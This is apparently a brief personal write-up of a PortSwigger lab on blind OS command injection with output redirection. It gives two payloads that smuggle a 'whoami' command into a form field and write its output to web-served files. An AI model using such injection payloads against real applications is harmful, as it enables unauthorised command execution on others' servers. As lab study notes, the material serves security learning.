Skip to content

3 - Blind OS command injection with output redirection

#rce #portswigger #writeup

bash
email=x||echo+"$(whoami)"+>+/var/www/images/54.jpg||
bash
& whoami > /var/www/static/whoami.txt &

Notas personales de seguridad ofensiva.